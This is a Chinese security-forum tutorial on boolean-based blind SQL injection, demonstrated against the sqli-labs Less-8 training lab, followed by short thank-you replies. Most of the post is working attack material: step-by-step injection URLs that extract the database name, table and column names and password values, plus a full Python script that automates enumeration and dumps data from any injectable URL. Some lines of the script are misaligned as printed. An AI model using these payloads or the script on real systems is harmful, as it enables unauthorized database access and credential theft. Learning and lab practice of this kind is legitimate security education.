用户
搜索
回帖奖励 90 魔法币 回复本帖可获得 10 魔法币奖励! 每人限 1 次(中奖概率 80%)
  • TA的每日心情
    奋斗
    2018-10-3 22:27
  • 签到天数: 258 天

    连续签到: 1 天

    [LV.8]以坛为家I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    9

    主题

    259

    帖子

    2379

    魔法币
    收听
    0
    粉丝
    3
    注册时间
    2017-3-22

    i春秋签约作者

    发表于 2017-12-30 02:14:53 1512238
    本帖最后由 __LSA__ 于 2017-12-30 02:24 编辑

    0x00 概述
    渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第二篇,介绍盲注中的布尔盲注。
    系列第一篇(报错注入)地址:https://bbs.ichunqiu.com/thread-31385-1-1.html

    0x01 布尔盲注原理
    关注于sql语句是否执行成功,而页面只返回true或false。
    主要函数:
    left(x,y): 获取x的前y位。
    substr(x,y,z): 获取y的从x开始的z位。
    ascii()/ord(): 得字符的ascii值。
    length(): 返回字符串长度。
    ……

    0x02 测试
    Sqli-labs: less-8
    1.判断注入
    [SQL] 纯文本查看 复制代码
    192.168.101.225:8999/sqli-labs/Less-8/?id=1'

    返回false,不加’则返回true,由此判断为布尔盲注。

    2. 猜解数据库名长度
    [SQL] 纯文本查看 复制代码
    192.168.101.225:8999/sqli-labs/Less-8/?id=1' and length(database())=8--+

    =8返回true则说明数据库长度为8,用二分法逐步缩小猜测范围。

    3. 猜解数据库名
    [SQL] 纯文本查看 复制代码
    192.168.101.225:8999/sqli-labs/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115--+

    =115返回true,说明数据库名第一个字符ascii值115,即s,同理用二分法猜解余下7位字符,把1,1改2,1即可猜第二位字符,结果为security。

    4. 猜解security第一个表名
    [SQL] 纯文本查看 复制代码
     192.168.101.225:8999/sqli-labs/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=101--+

    =101返回true,说明security库第一个表名第一个字符为e,同理猜解出余下字符,猜解第二个表名则把limit 0,1改limit 1,1即可。(判断表名是否结束可以用>0判断,如果大于0都false则表示这个/所有表名猜解完了)

    5. 猜解users表的第一个列名:
    [SQL] 纯文本查看 复制代码
    192.168.101.225:8999/sqli-labs/Less-8/?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=105--+

    返回true,则说明第一个列名的第一个字符为i,同理猜解余下的所有列名,有id,username,password

    6. 猜解数据
    [SQL] 纯文本查看 复制代码
    192.168.101.225:8999/sqli-labs/Less-8/?id=1' and (ascii(substr((select password from users limit 0,1),1,1)))=68--+

    =68返回true,说明第一个password数据的第一个字符是D,同理猜解余下的字符,为Dumb。

    0x03 布尔盲注脚本
    [Python] 纯文本查看 复制代码
    #coding:utf-8
    #Author:LSA
    #Description:blind sqli boolean base script
    #Date:20171226
    
    
    
    import requests
    import re
    import binascii
    import optparse
    import sys
    
    fdata = []
    
    chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_' 
    
    def judge_vulnable(url):
            normal_rsp_length = requests.get(url).headers['content-length']
    
            vuln_url = url + "'"
            vuln_rsp_length = requests.get(vuln_url).headers['content-length']
            if normal_rsp_length!=vuln_rsp_length:
                    print 'The url is vulnable!'
            else:
                    print 'The url seems not vulnable'        
    
    
    def getDatabasesNum(url):
            for dbsNum in xrange(1,20):
                    dbs_num_length_url = url + "' and (select length((select distinct table_schema from information_schema.tables limit {0},1)))>0--+"
                    dbs_num_length_url_format = dbs_num_length_url.format(dbsNum)
                    dbs_num_rsp_length = requests.get(dbs_num_length_url_format).headers['content-length']
                    if dbs_num_rsp_length == '722':
                            print '***Databases num is ' + str(dbsNum) + '***'
                            return dbsNum
    
    def getDatabases(url):
    
            databases = []
            databasesNum = getDatabasesNum(url)
            
            for databaseIndex in xrange(0,databasesNum):
                    dbName = ''
                    for dbNameLength in xrange(0,20):
                            #print dbNameLength
                            db_name_length_url = url +  "' and (select length((select distinct table_schema from information_schema.tables limit {0},1)))>{1}--+"
                            db_name_length_url_format = db_name_length_url.format(databaseIndex,dbNameLength)
                            #print db_name_length_url_format
                            db_name_length_rsp_length = requests.get(db_name_length_url_format).headers['content-length']
                            #print db_name_length_rsp_length
                            if db_name_length_rsp_length == '722':
                                    print '***db ' + str(databaseIndex) + ' name length is ' + str(dbNameLength) + '***'
                                    break
      
                        #print ("Bruting db name: ")
                    
                        for dbNameIndex in xrange(1,dbNameLength+1):
                            for char in chars:
                                    charAscii = ord(char)
                                    db_name_url = url + "' and (ascii(substr((select distinct (table_schema) from information_schema.tables limit {0},1),{1},1)))={2}--+"
                                    db_name_url_format = db_name_url.format(databaseIndex,dbNameIndex,charAscii)
                                    db_name_rsp_length = requests.get(db_name_url_format).headers['content-length']
                                    if db_name_rsp_length != '722':
                                            dbName = dbName + char
                                            print 'Bruting db name: ' + dbName
                                            break
    
                    databases.append(dbName)
                    #print "db name is " + dbName
            print '***Databases:***' 
            for ddd in xrange(0,len(databases)):
                    print databases[ddd]
            print '****************'
    
    def getTablesNum(url,db_name):
            for t in xrange(0,100):
                    #print t
                    tables_num_url = url + "' and (select length(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)>0--+"
                    tables_num_url_format = tables_num_url.format(db_name,t)
                    tables_num_rsp_length = requests.get(tables_num_url_format).headers['content-length']
                    #print tables_num_rsp_length
                    if tables_num_rsp_length == '722':
                            print '***Tables num is ' + str(t) + '***'
                            return t
                            
            
    
    def getTables(url,db_name):
            
            tablesName = []
            tablesNum = getTablesNum(url,db_name)
    
            for tName in xrange(0,tablesNum):
                    tableName = ''
                    for tIndex in xrange(1,20):   #brute table length
                            #print tIndex
                            tables_length_url = url + "' and (select length(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)>{2}--+"
                            tables_length_url_format = tables_length_url.format(db_name,tName,tIndex)
                            tables_length_rsp = requests.get(tables_length_url_format).headers['content-length']
                            #print tables_length_rsp
                            if tables_length_rsp == '722':
                                    print '***Table ' + str(tName) + ' length is ' + str(tIndex) + '***-->'
                                    break
                    for tNameIndex in xrange(1,tIndex+1):   #brute table name
                            for char in chars:
                                    #print char
                                    charAscii = ord(char)
                                    tables_name_url = url + "' and (ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1)))={3}--+"
                                    tables_name_url_format = tables_name_url.format(db_name,tName,tNameIndex,charAscii)
                                    tables_name_rsp_length = requests.get(tables_name_url_format).headers['content-length']
                                    #print tables_name_url_format
                                    #print tables_name_rsp_length
                                    if tables_name_rsp_length != '722':
                                            tableName = tableName + char
                                            print 'Bruting table name: ' + tableName
                                            break
                    tablesName.append(tableName)
            print '***Database [' + db_name + '] tables:***'
            for tl in xrange(0,len(tablesName)):
                    print tablesName[tl]
            print '*****************'
    
    
    
    def getColumnsNum(url,db_name,table_name):
            
                for c in xrange(0,50):
    
                        dataColumns_num_url = url + "' and (select length(column_name) from information_schema.columns where table_name='{0}' limit {1},1)>0--+"
                        dataColumns_num_url_format = dataColumns_num_url.format(table_name,c)
                    dataColumns_rsp_length = requests.get(dataColumns_num_url_format).headers['content-length']
                    if dataColumns_rsp_length == '722':
                            print '***Columns num is ' + str(c) + '***'
                            return c
    
    def getColumns(url,db_name,table_name):
            columnsName = []
            columnsNum = getColumnsNum(url,db_name,table_name)
    
            for cName in xrange(0,columnsNum):
                    columnName = ''
                    for cIndex in xrange(1,20):   #brute column length
                            #print cIndex
                            columns_length_url = url + "' and (select length(column_name) from information_schema.columns where table_name='{0}' limit {1},1)>{2}--+"
                            columns_length_url_format = columns_length_url.format(table_name,cName,cIndex)
                            columns_length_rsp = requests.get(columns_length_url_format).headers['content-length']
                            #print columns_length_rsp
                            if columns_length_rsp == '722':
                                    print '***column ' + str(cName) + ' length is ' + str(cIndex) + '***-->'
                                    break
                    for cNameIndex in xrange(1,cIndex+1):   #brute column name
                            for char in chars:
                                    #print char
                                    charAscii = ord(char)
                                    columns_name_url = url + "' and (ascii(substr((select column_name from information_schema.columns where table_name='{0}' limit {1},1),{2},1)))={3}--+"
                                    columns_name_url_format = columns_name_url.format(table_name,cName,cNameIndex,charAscii)
                                    columns_name_rsp_length = requests.get(columns_name_url_format).headers['content-length']
                                    #print columns_name_url_format
                                    #print columns_name_rsp_length
                                    if columns_name_rsp_length != '722':
                                            columnName = columnName + char
                                            print 'Bruting column name: ' + columnName
                                            break
                            #print columnName
                    columnsName.append(columnName)
    
            print '***Database [' + db_name + '] table [' + table_name + '] columns:***'
            for cl in xrange(0,len(columnsName)):
                    print columnsName[cl]
            print '**************'
    
    
    
    
    def getDataNum(url,db_name,table_name):
            for dNum in xrange(0,100):
                    dataColumns_num_url = url + "' and (select count(*) from {0})>{1}--+"
                    dataColumns_num_url_format = dataColumns_num_url.format(table_name,dNum)
                    dataColumns_num_rsp_length = requests.get(dataColumns_num_url_format).headers['content-length']
                    if dataColumns_num_rsp_length == '722':
                            print '***dataColumns num is ' + str(dNum) + '***'
                            return dNum
    
    
    def dumpData(url,db_name,table_name,inputColumns_name):
            inputColumns = inputColumns_name.split(',')
            datasNum = getDataNum(url,db_name,table_name)
            datas = []
            print "***Total datas: " + str(datasNum) + '***'
            print str(inputColumns_name) + ":"
            
                for inputColumnIndex in xrange(0,len(inputColumns)):
                    
                    for dataIndex in xrange(0,datasNum):
                            dName = ''
                            for dIndex in xrange(1,50):   #brute data length
                                    #print dIndex
                                    data_length_url = url + "' and (select length({0}) from {1} limit {2},1)>{3}--+"
                                    data_length_url_format = data_length_url.format(inputColumns[inputColumnIndex],table_name,dataIndex,dIndex)
                                    data_length_rsp_length = requests.get(data_length_url_format).headers['content-length']
                                    #print data_length_rsp_length
                                    if data_length_rsp_length == '722':
                                            print '***' + inputColumns[inputColumnIndex] + ' column ' + str(dataIndex) + ' length is ' + str(dIndex) + '***-->'
                                            break
    
                            for d in xrange(1,dIndex+1):
                                    for char in chars:
                                            charAscii = ord(char)
                                                data_url = url + "' and (ascii(substr((select {0} from {1} limit {2},1),{3},1)))={4}--+"
                                            data_url_format = data_url.format(inputColumns[inputColumnIndex],table_name,dataIndex,d,charAscii)
                                            data_rsp_length = requests.get(data_url_format).headers['content-length']        
                                            if data_rsp_length != '722':
                                                    dName = dName + char
                                                    print 'Bruting data: ' + dName        
                                                    break                
    
                            datas.append(dName)
                                
            for inputc in range(0,len(inputColumns)):
                    print str(inputColumns[inputc]) + "\t",
            print ''
            print "****************************"
            
            for t in range(0,datasNum):
                    for dd in range(t,len(datas),datasNum):
                            print datas[dd] + "\t",
                    print ""
            print "****************************"
                    
                    
    
    
                    
                            
    
    
    def main():
            
                parser = optparse.OptionParser('python %prog '+\
                     '-h <manual>')
                parser.add_option('-u', dest='tgtUrl', type='string',\
                     help='input target url')
                parser.add_option('--dbs', dest='dbs', action='store_true', help='get db name')
            parser.add_option('--tables', dest='tables', action='store_true',\
               help='get tables')
            parser.add_option('--columns', dest='columns', action='store_true',\
               help='get columns')
    
                parser.add_option('-D', dest='db', type='string', help='choose a db')
            parser.add_option('-T', dest='table', type='string',\
               help='choose a table')
            parser.add_option('-C', dest='column', type='string',\
               help='choose column(s)')
            parser.add_option('--dump', dest='data', action='store_true',\
               help='get datas')
        
                (options, args) = parser.parse_args()
            
            url = options.tgtUrl
            dbs = options.dbs
            tables = options.tables
            columns = options.columns
            db = options.db
            table = options.table
            column = options.column
            datas = options.data
            
            
            if url and (dbs is None and db is None and tables is None and table is None and columns is None and column is None and datas is None):
                    judge_vulnable(url)
            
    
            if url and dbs:
                    getDatabases(url)
            if url and db and tables:
                    getTables(url,db)
            if url and db and table and columns:
                    getColumns(url,db,table)
            if url and db and table and column and datas:
                    dumpData(url,db,table,column)
                    
                    
            
    
    if __name__ == '__main__':
        main()

    booleansqli00.png booleansqli01.png

    booleansqli02.png booleansqli03.png


    0x04 结语
    跑得好慢,后续要加上多线程才行。好了,第二篇结束了,系列第三篇即将到来!欢迎大家一起交流学习!共同进步吧!!

    评分

    参与人数 2魔法币 +6 收起 理由
    qige33 + 5 感谢你的分享,i春秋论坛有你更精彩!.
    yanzm + 1

    查看全部评分

    本帖被以下淘专辑推荐:

    回帖奖励 +10 魔法币

    感谢分享
    使用道具 举报 回复
    发表于 2018-1-2 15:38:48

    回帖奖励 +10 魔法币

    感谢分享
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发表于 2018-1-2 16:57:11
    学习,继续中
    使用道具 举报 回复
    发表于 2018-1-2 17:05:43

    回帖奖励 +10 魔法币

    学习!!学习!!学习!!
    使用道具 举报 回复
    发表于 2018-1-4 11:41:11

    回帖奖励 +10 魔法币

    感谢分享!学习了
    使用道具 举报 回复
    发表于 2018-1-22 15:31:01

    回帖奖励 +10 魔法币

    能加个qq学习一下么?
    使用道具 举报 回复
    发表于 2018-1-22 16:04:24
    使用道具 举报 回复
    发表于 2018-2-7 16:49:01

    回帖奖励 +10 魔法币

    感谢分享
    使用道具 举报 回复
    发表于 2018-2-7 16:49:21
    感谢分享
    使用道具 举报 回复
    发表于 2018-4-4 08:22:56

    回帖奖励 +10 魔法币

    谢谢分享,学习了。
    使用道具 举报 回复
    发表于 2018-4-25 13:00:52

    回帖奖励 +10 魔法币

    感谢分享,学习
    使用道具 举报 回复
    发表于 2018-7-13 13:03:39

    回帖奖励 +10 魔法币

    感谢分享
    使用道具 举报 回复
    发表于 2018-8-28 18:57:37

    回帖奖励 +10 魔法币

    学习一下~
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册